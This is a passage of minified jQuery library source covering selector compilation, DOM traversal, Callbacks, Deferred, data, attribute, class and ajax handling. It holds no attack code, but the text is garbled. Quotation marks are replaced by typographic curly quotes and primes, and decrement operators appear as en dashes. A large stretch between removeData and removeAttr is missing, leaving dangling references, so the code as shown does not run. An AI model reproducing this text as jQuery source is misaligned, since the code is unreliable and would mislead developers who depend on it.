j,k,l,m=[],n=[],o=g.length,p=f||tb(b||”*”,h.nodeType?[h]:h,[]),q=!a||!f&&b?p:ub(p,m,a,h,i),r=c?e||(f?a:o||d)?[]:g:q;if(c&&c(q,r,h,i),d){j=ub(r,n),d(j,[],h,i),k=j.length;while(k–)(l=j[k])&&(r[n[k]]=!(q[n[k]]=l))}if(f){if(e||a){if(e){j=[],k=r.length;while(k–)(l=r[k])&&j.push(q[k]=l);e(null,r=[],j,i)}k=r.length;while(k–)(l=r[k])&&(j=e?K.call(f,l):m[k])>-1&&(f[j]=!(g[j]=l))}}else r=ub(r===g?r.splice(o,r.length):r),e?e(null,g,r,i):I.apply(g,r)})}function wb(a){for(var b,c,e,f=a.length,g=d.relative[a[0].type],h=g||d.relative[” “],i=g?1:0,k=rb(function(a){return a===b},h,!0),l=rb(function(a){return K.call(b,a)>-1},h,!0),m=[function(a,c,d){return!g&&(d||c!==j)||((b=c).nodeType?k(a,c,d):l(a,c,d))}];f>i;i++)if(c=d.relative[a[i].type])m=[rb(sb(m),c)];else{if(c=d.filter[a[i].type].apply(null,a[i].matches),c[u]){for(e=++i;f>e;e++)if(d.relative[a[e].type])break;return vb(i>1&&sb(m),i>1&&qb(a.slice(0,i-1).concat({value:” “===a[i-2].type?”*”:””})).replace(R,”$1″),c,e>i&&wb(a.slice(i,e)),f>e&&wb(a=a.slice(e)),f>e&&qb(a))}m.push(c)}return sb(m)}function xb(a,b){var c=b.length>0,e=a.length>0,f=function(f,g,h,i,k){var l,m,o,p=0,q=”0″,r=f&&[],s=[],t=j,u=f||e&&d.find.TAG(“*”,k),v=w+=null==t?1:Math.random()||.1,x=u.length;for(k&&(j=g!==n&&g);q!==x&&null!=(l=u[q]);q++){if(e&&l){m=0;while(o=a[m++])if(o(l,g,h)){i.push(l);break}k&&(w=v)}c&&((l=!o&&l)&&p–,f&&r.push(l))}if(p+=q,c&&q!==p){m=0;while(o=b[m++])o(r,s,g,h);if(f){if(p>0)while(q–)r[q]||s[q]||(s[q]=G.call(i));s=ub(s)}I.apply(i,s),k&&!f&&s.length>0&&p+b.length>1&&fb.uniqueSort(i)}return k&&(w=v,j=t),r};return c?hb(f):f}return h=fb.compile=function(a,b){var c,d=[],e=[],f=A[a+” “];if(!f){b||(b=g(a)),c=b.length;while(c–)f=wb(b[c]),f[u]?d.push(f):e.push(f);f=A(a,xb(e,d)),f.selector=a}return f},i=fb.select=function(a,b,e,f){var i,j,k,l,m,n=”function”==typeof a&&a,o=!f&&g(a=n.selector||a);if(e=e||[],1===o.length){if(j=o[0]=o[0].slice(0),j.length>2&&”ID”===(k=j[0]).type&&c.getById&&9===b.nodeType&&p&&d.relative[j[1].type]){if(b=(d.find.ID(k.matches[0].replace(cb,db),b)||[])[0],!b)return e;n&&(b=b.parentNode),a=a.slice(j.shift().value.length)}i=X.needsContext.test(a)?0:j.length;while(i–){if(k=j[i],d.relative[l=k.type])break;if((m=d.find[l])&&(f=m(k.matches[0].replace(cb,db),ab.test(j[0].type)&&ob(b.parentNode)||b))){if(j.splice(i,1),a=f.length&&qb(j),!a)return I.apply(e,f),e;break}}}return(n||h(a,o))(f,b,!p,e,ab.test(a)&&ob(b.parentNode)||b),e},c.sortStable=u.split(“”).sort(B).join(“”)===u,c.detectDuplicates=!!l,m(),c.sortDetached=ib(function(a){return 1&a.compareDocumentPosition(n.createElement(“div”))}),ib(function(a){return a.innerHTML=”<a href=’#’></a>”,”#”===a.firstChild.getAttribute(“href”)})||jb(“type|href|height|width”,function(a,b,c){return c?void 0:a.getAttribute(b,”type”===b.toLowerCase()?1:2)}),c.attributes&&ib(function(a){return a.innerHTML=”<input/>”,a.firstChild.setAttribute(“value”,””),””===a.firstChild.getAttribute(“value”)})||jb(“value”,function(a,b,c){return c||”input”!==a.nodeName.toLowerCase()?void 0:a.defaultValue}),ib(function(a){return null==a.getAttribute(“disabled”)})||jb(L,function(a,b,c){var d;return c?void 0:a[b]===!0?b.toLowerCase():(d=a.getAttributeNode(b))&&d.specified?d.value:null}),fb}(a);n.find=t,n.expr=t.selectors,n.expr[“:”]=n.expr.pseudos,n.unique=t.uniqueSort,n.text=t.getText,n.isXMLDoc=t.isXML,n.contains=t.contains;var u=n.expr.match.needsContext,v=/^<(\w+)\s*\/?>(?:<\/\1>|)$/,w=/^.[^:#\[\.,]*$/;function x(a,b,c){if(n.isFunction(b))return n.grep(a,function(a,d){return!!b.call(a,d,a)!==c});if(b.nodeType)return n.grep(a,function(a){return a===b!==c});if(“string”==typeof b){if(w.test(b))return n.filter(b,a,c);b=n.filter(b,a)}return n.grep(a,function(a){return g.call(b,a)>=0!==c})}n.filter=function(a,b,c){var d=b[0];return c&&(a=”:not(“+a+”)”),1===b.length&&1===d.nodeType?n.find.matchesSelector(d,a)?[d]:[]:n.find.matches(a,n.grep(b,function(a){return 1===a.nodeType}))},n.fn.extend({find:function(a){var b,c=this.length,d=[],e=this;if(“string”!=typeof a)return this.pushStack(n(a).filter(function(){for(b=0;c>b;b++)if(n.contains(e[b],this))return!0}));for(b=0;c>b;b++)n.find(a,e[b],d);return d=this.pushStack(c>1?n.unique(d):d),d.selector=this.selector?this.selector+” “+a:a,d},filter:function(a){return this.pushStack(x(this,a||[],!1))},not:function(a){return this.pushStack(x(this,a||[],!0))},is:function(a){return!!x(this,”string”==typeof a&&u.test(a)?n(a):a||[],!1).length}});var y,z=/^(?:\s*(<[\w\W]+>)[^>]*|#([\w-]*))$/,A=n.fn.init=function(a,b){var c,d;if(!a)return this;if(“string”==typeof a){if(c=”<“===a[0]&&”>”===a[a.length-1]&&a.length>=3?[null,a,null]:z.exec(a),!c||!c[1]&&b)return!b||b.jquery?(b||y).find(a):this.constructor(b).find(a);if(c[1]){if(b=b instanceof n?b[0]:b,n.merge(this,n.parseHTML(c[1],b&&b.nodeType?b.ownerDocument||b:l,!0)),v.test(c[1])&&n.isPlainObject(b))for(c in b)n.isFunction(this[c])?this[c](b[c]):this.attr(c,b[c]);return this}return d=l.getElementById(c[2]),d&&d.parentNode&&(this.length=1,this[0]=d),this.context=l,this.selector=a,this}return a.nodeType?(this.context=this[0]=a,this.length=1,this):n.isFunction(a)?”undefined”!=typeof y.ready?y.ready(a):a(n):(void 0!==a.selector&&(this.selector=a.selector,this.context=a.context),n.makeArray(a,this))};A.prototype=n.fn,y=n(l);var B=/^(?:parents|prev(?:Until|All))/,C={children:!0,contents:!0,next:!0,prev:!0};n.extend({dir:function(a,b,c){var d=[],e=void 0!==c;while((a=a[b])&&9!==a.nodeType)if(1===a.nodeType){if(e&&n(a).is(c))break;d.push(a)}return d},sibling:function(a,b){for(var c=[];a;a=a.nextSibling)1===a.nodeType&&a!==b&&c.push(a);return c}}),n.fn.extend({has:function(a){var b=n(a,this),c=b.length;return this.filter(function(){for(var a=0;c>a;a++)if(n.contains(this,b[a]))return!0})},closest:function(a,b){for(var c,d=0,e=this.length,f=[],g=u.test(a)||”string”!=typeof a?n(a,b||this.context):0;e>d;d++)for(c=this[d];c&&c!==b;c=c.parentNode)if(c.nodeType<11&&(g?g.index(c)>-1:1===c.nodeType&&n.find.matchesSelector(c,a))){f.push(c);break}return this.pushStack(f.length>1?n.unique(f):f)},index:function(a){return a?”string”==typeof a?g.call(n(a),this[0]):g.call(this,a.jquery?a[0]:a):this[0]&&this[0].parentNode?this.first().prevAll().length:-1},add:function(a,b){return this.pushStack(n.unique(n.merge(this.get(),n(a,b))))},addBack:function(a){return this.add(null==a?this.prevObject:this.prevObject.filter(a))}});function D(a,b){while((a=a[b])&&1!==a.nodeType);return a}n.each({parent:function(a){var b=a.parentNode;return b&&11!==b.nodeType?b:null},parents:function(a){return n.dir(a,”parentNode”)},parentsUntil:function(a,b,c){return n.dir(a,”parentNode”,c)},next:function(a){return D(a,”nextSibling”)},prev:function(a){return D(a,”previousSibling”)},nextAll:function(a){return n.dir(a,”nextSibling”)},prevAll:function(a){return n.dir(a,”previousSibling”)},nextUntil:function(a,b,c){return n.dir(a,”nextSibling”,c)},prevUntil:function(a,b,c){return n.dir(a,”previousSibling”,c)},siblings:function(a){return n.sibling((a.parentNode||{}).firstChild,a)},children:function(a){return n.sibling(a.firstChild)},contents:function(a){return a.contentDocument||n.merge([],a.childNodes)}},function(a,b){n.fn[a]=function(c,d){var e=n.map(this,b,c);return”Until”!==a.slice(-5)&&(d=c),d&&”string”==typeof d&&(e=n.filter(d,e)),this.length>1&&(C[a]||n.unique(e),B.test(a)&&e.reverse()),this.pushStack(e)}});var E=/\S+/g,F={};function G(a){var b=F[a]={};return n.each(a.match(E)||[],function(a,c){b[c]=!0}),b}n.Callbacks=function(a){a=”string”==typeof a?F[a]||G(a):n.extend({},a);var b,c,d,e,f,g,h=[],i=!a.once&&[],j=function(l){for(b=a.memory&&l,c=!0,g=e||0,e=0,f=h.length,d=!0;h&&f>g;g++)if(h[g].apply(l[0],l[1])===!1&&a.stopOnFalse){b=!1;break}d=!1,h&&(i?i.length&&j(i.shift()):b?h=[]:k.disable())},k={add:function(){if(h){var c=h.length;!function g(b){n.each(b,function(b,c){var d=n.type(c);”function”===d?a.unique&&k.has(c)||h.push(c):c&&c.length&&”string”!==d&&g(c)})}(arguments),d?f=h.length:b&&(e=c,j(b))}return this},remove:function(){return h&&n.each(arguments,function(a,b){var c;while((c=n.inArray(b,h,c))>-1)h.splice(c,1),d&&(f>=c&&f–,g>=c&&g–)}),this},has:function(a){return a?n.inArray(a,h)>-1:!(!h||!h.length)},empty:function(){return h=[],f=0,this},disable:function(){return h=i=b=void 0,this},disabled:function(){return!h},lock:function(){return i=void 0,b||k.disable(),this},locked:function(){return!i},fireWith:function(a,b){return!h||c&&!i||(b=b||[],b=[a,b.slice?b.slice():b],d?i.push(b):j(b)),this},fire:function(){return k.fireWith(this,arguments),this},fired:function(){return!!c}};return k},n.extend({Deferred:function(a){var b=[[“resolve”,”done”,n.Callbacks(“once memory”),”resolved”],[“reject”,”fail”,n.Callbacks(“once memory”),”rejected”],[“notify”,”progress”,n.Callbacks(“memory”)]],c=”pending”,d={state:function(){return c},always:function(){return e.done(arguments).fail(arguments),this},then:function(){var a=arguments;return n.Deferred(function(c){n.each(b,function(b,f){var g=n.isFunction(a[b])&&a[b];e[f[1]](function(){var a=g&&g.apply(this,arguments);a&&n.isFunction(a.promise)?a.promise().done(c.resolve).fail(c.reject).progress(c.notify):c[f[0]+”With”](this===d?c.promise():this,g?[a]:arguments)})}),a=null}).promise()},promise:function(a){return null!=a?n.extend(a,d):d}},e={};return d.pipe=d.then,n.each(b,function(a,f){var g=f[2],h=f[3];d[f[1]]=g.add,h&&g.add(function(){c=h},b[1^a][2].disable,b[2][2].lock),e[f[0]]=function(){return e[f[0]+”With”](this===e?d:this,arguments),this},e[f[0]+”With”]=g.fireWith}),d.promise(e),a&&a.call(e,e),e},when:function(a){var b=0,c=d.call(arguments),e=c.length,f=1!==e||a&&n.isFunction(a.promise)?e:0,g=1===f?a:n.Deferred(),h=function(a,b,c){return function(e){b[a]=this,c[a]=arguments.length>1?d.call(arguments):e,c===i?g.notifyWith(b,c):–f||g.resolveWith(b,c)}},i,j,k;if(e>1)for(i=new Array(e),j=new Array(e),k=new Array(e);e>b;b++)c[b]&&n.isFunction(c[b].promise)?c[b].promise().done(h(b,k,c)).fail(g.reject).progress(h(b,j,i)):–f;return f||g.resolveWith(k,c),g.promise()}});var H;n.fn.ready=function(a){return n.ready.promise().done(a),this},n.extend({isReady:!1,readyWait:1,holdReady:function(a){a?n.readyWait++:n.ready(!0)},ready:function(a){(a===!0?–n.readyWait:n.isReady)||(n.isReady=!0,a!==!0&&–n.readyWait>0||(H.resolveWith(l,[n]),n.fn.triggerHandler&&(n(l).triggerHandler(“ready”),n(l).off(“ready”))))}});function I(){l.removeEventListener(“DOMContentLoaded”,I,!1),a.removeEventListener(“load”,I,!1),n.ready()}n.ready.promise=function(b){return H||(H=n.Deferred(),”complete”===l.readyState?setTimeout(n.ready):(l.addEventListener(“DOMContentLoaded”,I,!1),a.addEventListener(“load”,I,!1))),H.promise(b)},n.ready.promise();var J=n.access=function(a,b,c,d,e,f,g){var h=0,i=a.length,j=null==c;if(“object”===n.type(c)){e=!0;for(h in c)n.access(a,b,h,c[h],!0,f,g)}else if(void 0!==d&&(e=!0,n.isFunction(d)||(g=!0),j&&(g?(b.call(a,d),b=null):(j=b,b=function(a,b,c){return j.call(n(a),c)})),b))for(;i>h;h++)b(a[h],c,g?d:d.call(a[h],h,b(a[h],c)));return e?a:j?b.call(a):i?b(a[0],c):f};n.acceptData=function(a){return 1===a.nodeType||9===a.nodeType||!+a.nodeType};function K(){Object.defineProperty(this.cache={},0,{get:function(){return{}}}),this.expando=n.expando+Math.random()}K.uid=1,K.accepts=n.acceptData,K.prototype={key:function(a){if(!K.accepts(a))return 0;var b={},c=a[this.expando];if(!c){c=K.uid++;try{b[this.expando]={value:c},Object.defineProperties(a,b)}catch(d){b[this.expando]=c,n.extend(a,b)}}return this.cache[c]||(this.cache[c]={}),c},set:function(a,b,c){var d,e=this.key(a),f=this.cache[e];if(“string”==typeof b)f[b]=c;else if(n.isEmptyObject(f))n.extend(this.cache[e],b);else for(d in b)f[d]=b[d];return f},get:function(a,b){var c=this.cache[this.key(a)];return void 0===b?c:c[b]},access:function(a,b,c){var d;return void 0===b||b&&”string”==typeof b&&void 0===c?(d=this.get(a,b),void 0!==d?d:this.get(a,n.camelCase(b))):(this.set(a,b,c),void 0!==c?c:b)},remove:function(a,b){var c,d,e,f=this.key(a),g=this.cache[f];if(void 0===b)this.cache[f]={};else{n.isArray(b)?d=b.concat(b.map(n.camelCase)):(e=n.camelCase(b),b in g?d=[b,e]:(d=e,d=d in g?[d]:d.match(E)||[])),c=d.length;while(c–)delete g[d[c]]}},hasData:function(a){return!n.isEmptyObject(this.cache[a[this.expando]]||{})},discard:function(a){a[this.expando]&&delete this.cache[a[this.expando]]}};var L=new K,M=new K,N=/^(?:\{[\w\W]*\}|\[[\w\W]*\])$/,O=/([A-Z])/g;function P(a,b,c){var d;if(void 0===c&&1===a.nodeType)if(d=”data-“+b.replace(O,”-$1″).toLowerCase(),c=a.getAttribute(d),”string”==typeof c){try{c=”true”===c?!0:”false”===c?!1:”null”===c?null:+c+””===c?+c:N.test(c)?n.parseJSON(c):c}catch(e){}M.set(a,b,c)}else c=void 0;return c}n.extend({hasData:function(a){return M.hasData(a)||L.hasData(a)},data:function(a,b,c){return M.access(a,b,c)},removeData:function(a,b){M.remove(a,b)
},removeAttr:function(a,b){var c,d,e=0,f=b&&b.match(E);if(f&&1===a.nodeType)while(c=f[e++])d=n.propFix[c]||c,n.expr.match.bool.test(c)&&(a[d]=!1),a.removeAttribute(c)},attrHooks:{type:{set:function(a,b){if(!k.radioValue&&”radio”===b&&n.nodeName(a,”input”)){var c=a.value;return a.setAttribute(“type”,b),c&&(a.value=c),b}}}}}),Zb={set:function(a,b,c){return b===!1?n.removeAttr(a,c):a.setAttribute(c,c),c}},n.each(n.expr.match.bool.source.match(/\w+/g),function(a,b){var c=$b[b]||n.find.attr;$b[b]=function(a,b,d){var e,f;return d||(f=$b[b],$b[b]=e,e=null!=c(a,b,d)?b.toLowerCase():null,$b[b]=f),e}});var _b=/^(?:input|select|textarea|button)$/i;n.fn.extend({prop:function(a,b){return J(this,n.prop,a,b,arguments.length>1)},removeProp:function(a){return this.each(function(){delete this[n.propFix[a]||a]})}}),n.extend({propFix:{“for”:”htmlFor”,”class”:”className”},prop:function(a,b,c){var d,e,f,g=a.nodeType;if(a&&3!==g&&8!==g&&2!==g)return f=1!==g||!n.isXMLDoc(a),f&&(b=n.propFix[b]||b,e=n.propHooks[b]),void 0!==c?e&&”set”in e&&void 0!==(d=e.set(a,c,b))?d:a[b]=c:e&&”get”in e&&null!==(d=e.get(a,b))?d:a[b]},propHooks:{tabIndex:{get:function(a){return a.hasAttribute(“tabindex”)||_b.test(a.nodeName)||a.href?a.tabIndex:-1}}}}),k.optSelected||(n.propHooks.selected={get:function(a){var b=a.parentNode;return b&&b.parentNode&&b.parentNode.selectedIndex,null}}),n.each([“tabIndex”,”readOnly”,”maxLength”,”cellSpacing”,”cellPadding”,”rowSpan”,”colSpan”,”useMap”,”frameBorder”,”contentEditable”],function(){n.propFix[this.toLowerCase()]=this});var ac=/[\t\r\n\f]/g;n.fn.extend({addClass:function(a){var b,c,d,e,f,g,h=”string”==typeof a&&a,i=0,j=this.length;if(n.isFunction(a))return this.each(function(b){n(this).addClass(a.call(this,b,this.className))});if(h)for(b=(a||””).match(E)||[];j>i;i++)if(c=this[i],d=1===c.nodeType&&(c.className?(” “+c.className+” “).replace(ac,” “):” “)){f=0;while(e=b[f++])d.indexOf(” “+e+” “)<0&&(d+=e+” “);g=n.trim(d),c.className!==g&&(c.className=g)}return this},removeClass:function(a){var b,c,d,e,f,g,h=0===arguments.length||”string”==typeof a&&a,i=0,j=this.length;if(n.isFunction(a))return this.each(function(b){n(this).removeClass(a.call(this,b,this.className))});if(h)for(b=(a||””).match(E)||[];j>i;i++)if(c=this[i],d=1===c.nodeType&&(c.className?(” “+c.className+” “).replace(ac,” “):””)){f=0;while(e=b[f++])while(d.indexOf(” “+e+” “)>=0)d=d.replace(” “+e+” “,” “);g=a?n.trim(d):””,c.className!==g&&(c.className=g)}return this},toggleClass:function(a,b){var c=typeof a;return”boolean”==typeof b&&”string”===c?b?this.addClass(a):this.removeClass(a):this.each(n.isFunction(a)?function(c){n(this).toggleClass(a.call(this,c,this.className,b),b)}:function(){if(“string”===c){var b,d=0,e=n(this),f=a.match(E)||[];while(b=f[d++])e.hasClass(b)?e.removeClass(b):e.addClass(b)}else(c===U||”boolean”===c)&&(this.className&&L.set(this,”__className__”,this.className),this.className=this.className||a===!1?””:L.get(this,”__className__”)||””)})},hasClass:function(a){for(var b=” “+a+” “,c=0,d=this.length;d>c;c++)if(1===this[c].nodeType&&(” “+this[c].className+” “).replace(ac,” “).indexOf(b)>=0)return!0;return!1}});var bc=/\r/g;n.fn.extend({val:function(a){var b,c,d,e=this[0];{if(arguments.length)return d=n.isFunction(a),this.each(function(c){var e;1===this.nodeType&&(e=d?a.call(this,c,n(this).val()):a,null==e?e=””:”number”==typeof e?e+=””:n.isArray(e)&&(e=n.map(e,function(a){return null==a?””:a+””})),b=n.valHooks[this.type]||n.valHooks[this.nodeName.toLowerCase()],b&&”set”in b&&void 0!==b.set(this,e,”value”)||(this.value=e))});if(e)return b=n.valHooks[e.type]||n.valHooks[e.nodeName.toLowerCase()],b&&”get”in b&&void 0!==(c=b.get(e,”value”))?c:(c=e.value,”string”==typeof c?c.replace(bc,””):null==c?””:c)}}}),n.extend({valHooks:{option:{get:function(a){var b=n.find.attr(a,”value”);return null!=b?b:n.trim(n.text(a))}},select:{get:function(a){for(var b,c,d=a.options,e=a.selectedIndex,f=”select-one”===a.type||0>e,g=f?null:[],h=f?e+1:d.length,i=0>e?h:f?e:0;h>i;i++)if(c=d[i],!(!c.selected&&i!==e||(k.optDisabled?c.disabled:null!==c.getAttribute(“disabled”))||c.parentNode.disabled&&n.nodeName(c.parentNode,”optgroup”))){if(b=n(c).val(),f)return b;g.push(b)}return g},set:function(a,b){var c,d,e=a.options,f=n.makeArray(b),g=e.length;while(g–)d=e[g],(d.selected=n.inArray(d.value,f)>=0)&&(c=!0);return c||(a.selectedIndex=-1),f}}}}),n.each([“radio”,”checkbox”],function(){n.valHooks[this]={set:function(a,b){return n.isArray(b)?a.checked=n.inArray(n(a).val(),b)>=0:void 0}},k.checkOn||(n.valHooks[this].get=function(a){return null===a.getAttribute(“value”)?”on”:a.value})}),n.each(“blur focus focusin focusout load resize scroll unload click dblclick mousedown mouseup mousemove mouseover mouseout mouseenter mouseleave change select submit keydown keypress keyup error contextmenu”.split(” “),function(a,b){n.fn[b]=function(a,c){return arguments.length>0?this.on(b,null,a,c):this.trigger(b)}}),n.fn.extend({hover:function(a,b){return this.mouseenter(a).mouseleave(b||a)},bind:function(a,b,c){return this.on(a,null,b,c)},unbind:function(a,b){return this.off(a,null,b)},delegate:function(a,b,c,d){return this.on(b,a,c,d)},undelegate:function(a,b,c){return 1===arguments.length?this.off(a,”**”):this.off(b,a||”**”,c)}});var cc=n.now(),dc=/\?/;n.parseJSON=function(a){return JSON.parse(a+””)},n.parseXML=function(a){var b,c;if(!a||”string”!=typeof a)return null;try{c=new DOMParser,b=c.parseFromString(a,”text/xml”)}catch(d){b=void 0}return(!b||b.getElementsByTagName(“parsererror”).length)&&n.error(“Invalid XML: “+a),b};var ec,fc,gc=/#.*$/,hc=/([?&])_=[^&]*/,ic=/^(.*?):[ \t]*([^\r\n]*)$/gm,jc=/^(?:about|app|app-storage|.+-extension|file|res|widget):$/,kc=/^(?:GET|HEAD)$/,lc=/^\/\//,mc=/^([\w.+-]+:)(?:\/\/(?:[^\/?#]*@|)([^\/?#:]*)(?::(\d+)|)|)/,nc={},oc={},pc=”*/”.concat(“*”);try{fc=location.href}catch(qc){fc=l.createElement(“a”),fc.href=””,fc=fc.href}ec=mc.exec(fc.toLowerCase())||[];function rc(a){return function(b,c){“string”!=typeof b&&(c=b,b=”*”);var d,e=0,f=b.toLowerCase().match(E)||[];if(n.isFunction(c))while(d=f[e++])”+”===d[0]?(d=d.slice(1)||”*”,(a[d]=a[d]||[]).unshift(c)):(a[d]=a[d]||[]).push(c)}}function sc(a,b,c,d){var e={},f=a===oc;function g(h){var i;return e[h]=!0,n.each(a[h]||[],function(a,h){var j=h(b,c,d);return”string”!=typeof j||f||e[j]?f?!(i=j):void 0:(b.dataTypes.unshift(j),g(j),!1)}),i}return g(b.dataTypes[0])||!e[“*”]&&g(“*”)}function tc(a,b){var c,d,e=n.ajaxSettings.flatOptions||{};for(c in b)void 0!==b[c]&&((e[c]?a:d||(d={}))[c]=b[c]);return d&&n.extend(!0,a,d),a}function uc(a,b,c){var d,e,f,g,h=a.contents,i=a.dataTypes;while(“*”===i[0])i.shift(),void 0===d&&(d=a.mimeType||b.getResponseHeader(“Content-Type”));if(d)for(e in h)if(h[e]&&h[e].test(d)){i.unshift(e);break}if(i[0]in c)f=i[0];else{for(e in c){if(!i[0]||a.converters[e+” “+i[0]]){f=e;break}g||(g=e)}f=f||g}return f?(f!==i[0]&&i.unshift(f),c[f]):void 0}function vc(a,b,c,d){var e,f,g,h,i,j={},k=a.dataTypes.slice();if(k[1])for(g in a.converters)j[g.toLowerCase()]=a.converters[g];f=k.shift();while(f)if(a.responseFields[f]&&(c[a.responseFields[f]]=b),!i&&d&&a.dataFilter&&(b=a.dataFilter(b,a.dataType)),i=f,f=k.shift())if(“*”===f)f=i;else if(“*”!==i&&i!==f){if(g=j[i+” “+f]||j[“* “+f],!g)for(e in j)if(h=e.split(” “),h[1]===f&&(g=j[i+” “+h[0]]||j[“* “+h[0]])){g===!0?g=j[e]:j[e]!==!0&&(f=h[0],k.unshift(h[1]));break}if(g!==!0)if(g&&a[“throws”])b=g(b);else try{b=g(b)}catch(l){return{state:”parsererror”,error:g?l:”No conversion from “+i+” to “+f}}}return{state:”success”,data:b}}n.extend({active:0,lastModified:{},etag:{},ajaxSettings:{url:fc,type:”GET”,isLocal:jc.test(ec[1]),global:!0,processData:!0,async:!0,contentType:”application/x-www-form-urlencoded; charset=UTF-8″,accepts:{“*”:pc,text:”text/plain”,html:”text/html”,xml:”application/xml, text/xml”,json:”application/json, text/javascript”},contents:{xml:/xml/,html:/html/,json:/json/},responseFields:{xml:”responseXML”,text:”responseText”,json:”responseJSON”},converters:{“* text”:String,”text html”:!0,”text json”:n.parseJSON,”text xml”:n.parseXML},flatOptions:{url:!0,context:!0}},ajaxSetup:function(a,b){return b?tc(tc(a,n.ajaxSettings),b):tc(n.ajaxSettings,a)},ajaxPrefilter:rc(nc),ajaxTransport:rc(oc),ajax:function(a,b){“object”==typeof a&&(b=a,a=void 0),b=b||{};var c,d,e,f,g,h,i,j,k=n.ajaxSetup({},b),l=k.context||k,m=k.context&&(l.nodeType||l.jquery)?n(l):n.event,o=n.Deferred(),p=n.Callbacks(“once memory”),q=k.statusCode||{},r={},s={},t=0,u=”canceled”,v={readyState:0,getResponseHeader:function(a){var b;if(2===t){if(!f){f={};while(b=ic.exec(e))f[b[1].toLowerCase()]=b[2]}b=f[a.toLowerCase()]}return null==b?null:b},getAllResponseHeaders:function(){return 2===t?e:null},setRequestHeader:function(a,b){var c=a.toLowerCase();return t||(a=s[c]=s[c]||a,r[a]=b),this},overrideMimeType:function(a){return t||(k.mimeType=a),this},statusCode:function(a){var b;if(a)if(2>t)for(b in a)q[b]=[q[b],a[b]];else v.always(a[v.status]);return this},abort:function(a){var b=a||u;return c&&c.abort(b),x(0,b),this}};if(o.promise(v).complete=p.add,v.success=v.done,v.error=v.fail,k.url=((a||k.url||fc)+””).replace(gc,””).replace(lc,ec[1]+”//”),k.type=b.method||b.type||k.method||k.type,k.dataTypes=n.trim(k.dataType||”*”).toLowerCase().match(E)||[“”],null==k.crossDomain&&(h=mc.exec(k.url.toLowerCase()),k.crossDomain=!(!h||h[1]===ec[1]&&h[2]===ec[2]&&(h[3]||(“http:”===h[1]?”80″:”443”))===(ec[3]||(“http:”===ec[1]?”80″:”443″)))),k.data&&k.processData&&”string”!=typeof k.data&&(k.data=n.param(k.data,k.traditional)),sc(nc,k,b,v),2===t)return v;i=k.global,i&&0===n.active++&&n.event.trigger(“ajaxStart”),k.type=k.type.toUpperCase(),k.hasContent=!kc.test(k.type),d=k.url,k.hasContent||(k.data&&(d=k.url+=(dc.test(d)?”&”:”?”)+k.data,delete k.data),k.cache===!1&&(k.url=hc.test(d)?d.replace(hc,”$1_=”+cc++):d+(dc.test(d)?”&”:”?”)+”_=”+cc++)),k.ifModified&&(n.lastModified[d]&&v.setRequestHeader(“If-Modified-Since”,n.lastModified[d]),n.etag[d]&&v.setRequestHeader(“If-None-Match”,n.etag[d])),(k.data&&k.hasContent&&k.contentType!==!1||b.contentType)&&v.setRequestHeader(“Content-Type”,k.contentType),v.setRequestHeader(“Accept”,k.dataTypes[0]&&k.accepts[k.dataTypes[0]]?k.accepts[k.dataTypes[0]]+(“*”!==k.dataTypes[0]?”, “+pc+”; q=0.01″:””):k.accepts[“*”]);for(j in k.headers)v.setRequestHeader(j,k.headers[j]);if(k.beforeSend&&(k.beforeSend.call(l,v,k)===!1||2===t))return v.abort();u=”abort”;for(j in{success:1,error:1,complete:1})v[j](k[j]);if(c=sc(oc,k,b,v)){v.readyState=1,i&&m.trigger(“ajaxSend”,[v,k]),k.async&&k.timeout>0&&(g=setTimeout(function(){v.abort(“timeout”)},k.timeout));try{t=1,c.send(r,x)}catch(w){if(!(2>t))throw w;x(-1,w)}}else x(-1,”No Transport”);function x(a,b,f,h){var j,r,s,u,w,x=b;2!==t&&(t=2,g&&clearTimeout(g),c=void 0,e=h||””,v.readyState=a>0?4:0,j=a>=200&&300>a||304===a,f&&(u=uc(k,v,f)),u=vc(k,u,v,j),j?(k.ifModified&&(w=v.getResponseHeader(“Last-Modified”),w&&(n.lastModified[d]=w),w=v.getResponseHeader(“etag”),w&&(n.etag[d]=w)),204===a||”HEAD”===k.type?x=”nocontent”:304===a?x=”notmodified”:(x=u.state,r=u.data,s=u.error,j=!s)):(s=x,(a||!x)&&(x=”error”,0>a&&(a=0))),v.status=a,v.statusText=(b||x)+””,j?o.resolveWith(l,[r,x,v]):o.rejectWith(l,[v,x,s]),v.statusCode(q),q=void 0,i&&m.trigger(j?”ajaxSuccess”:”ajaxError”,[v,k,j?r:s]),p.fireWith(l,[v,x]),i&&(m.trigger(“ajaxComplete”,[v,k]),–n.active||n.event.trigger(“ajaxStop”)))}return v},getJSON:function(a,b,c){return n.get(a,b,c,”json”)},getScript:function(a,b){return n.get(a,void 0,b,”script”)}}),n.each([“get”,”post”],function(a,b){n[b]=function(a,c,d,e){return n.isFunction(c)&&(e=e||d,d=c,c=void 0),n.ajax({url:a,type:b,dataType:e,data:c,success:d})}}),n.each([“ajaxStart”,”ajaxStop”,”ajaxComplete”,”ajaxError”,”ajaxSuccess”,”ajaxSend”],function(a,b){n.fn[b]=function(a){return this.on(b,a)}}),n._evalUrl=function(a){return n.ajax({url:a,type:”GET”,dataType:”script”,async:!1,global:!1,”throws”:!0})},n.fn.extend({wrapAll:function(a){var b;return n.isFunction(a)?this.each(function(b){n(this).wrapAll(a.call(this,b))}):(this[0]&&(b=n(a,this[0].ownerDocument).eq(0).clone(!0),this[0].parentNode&&b.insertBefore(this[0]),b.map(function(){var a=this;while(a.firstElementChild)a=a.firstElementChild;return a}).append(this)),this)},wrapInner:function(a){return this.each(n.isFunction(a)?function(b){n(this).wrapInner(a.call(this,b))}:function(){var b=n(this),c=b.contents();c.length?c.wrapAll(a):b.append(a)})},wrap:function(a){var b=n.isFunction(a);return this.each(function(c){n(this).wrapAll(b?a.call(this,c):a)})},unwrap:function(){return this.parent().each(function(){n.nodeName(this,”body”)||n(this).replaceWith(this.childNodes)}).end()}}),n.expr.filters.hidden=function(a){return a.offsetWidth<=0&&a.offsetHeight<=0},n.expr.filters.visible=function(a){return!n.expr.filters.hidden(a)};var wc=/%20/g,xc=/\[\]$/,yc=/\r?\n/g,zc=/^(?:submit|button|image|reset|file)$/i,Ac=/^(?:input|select|textarea|keygen)/i;function Bc(a,b,c,d){var e;if(n.isArray(b))n.each(b,function(b,e){c||xc.test(a)?d(a,e):Bc(a+”[“+(“object”==typeof e?b:””)+”]”,e,c,d)});else if(c||”object”!==n.type(b))d(a,b);else for(e in b)Bc(a+”[“+e+”]”,b[e],c,d)}n.param=function(a,b){var 